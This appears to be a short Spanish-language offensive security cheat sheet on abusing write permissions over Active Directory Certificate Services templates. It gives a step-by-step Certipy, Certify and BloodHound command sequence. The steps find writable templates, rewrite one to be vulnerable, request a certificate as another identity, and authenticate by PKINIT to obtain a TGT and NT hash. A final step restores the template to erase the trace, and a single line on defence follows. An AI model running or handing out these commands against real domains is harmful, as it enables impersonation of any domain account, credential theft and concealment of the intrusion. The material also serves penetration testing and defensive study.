Qué es
El abuso de permisos en AD CS Templates reescribe una plantilla segura para volverla vulnerable. Con permiso de escritura sobre el objeto de la plantilla, el atacante crea la mala configuración que necesita. Después pide un certificado y autentica como cualquier identidad del dominio.
Cómo funciona
Un AD CS Template es un objeto de AD con un descriptor de seguridad. Si ese descriptor da escritura a un principal de bajo privilegio, ese principal cambia las propiedades de la plantilla. La CA no revisa si la plantilla cambió hace un momento: lee la configuración actual y la obedece. El atacante activa ENROLLEE_SUPPLIES_SUBJECT y un EKU de autenticación, pide un certificado con el sujeto de otra identidad y autentica por PKINIT. Al terminar, restaura la plantilla y borra el rastro del cambio.
Comandos
Buscar plantillas donde tienes escritura, desde Linux con Certipy:
certipy find -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -vulnerable -stdoutLa misma enumeración desde Windows con Certify:
Certify.exe find /vulnerableMapear la ruta de escritura con BloodHound: recolecta, luego revisa el ACL en la interfaz:
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -dc <HOST> -c AllReescribir la plantilla segura y guardar la configuración original:
certipy template -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -template <TEMPLATE> -save-oldPedir un certificado para otra identidad, con el sujeto que tú indicas:
certipy req -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -ca <CA> -template <TEMPLATE> -upn <TARGET>@<DOMAIN>Autenticar por PKINIT y recuperar el TGT y el hash NT:
certipy auth -pfx <FILE> -dc-ip <IP>Restaurar la plantilla a su configuración original:
certipy template -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -template <TEMPLATE> -configuration <FILE>Cómo defenderse
Restringe la escritura sobre los objetos de plantilla a los administradores de la CA: sin escritura, nadie reescribe una plantilla segura.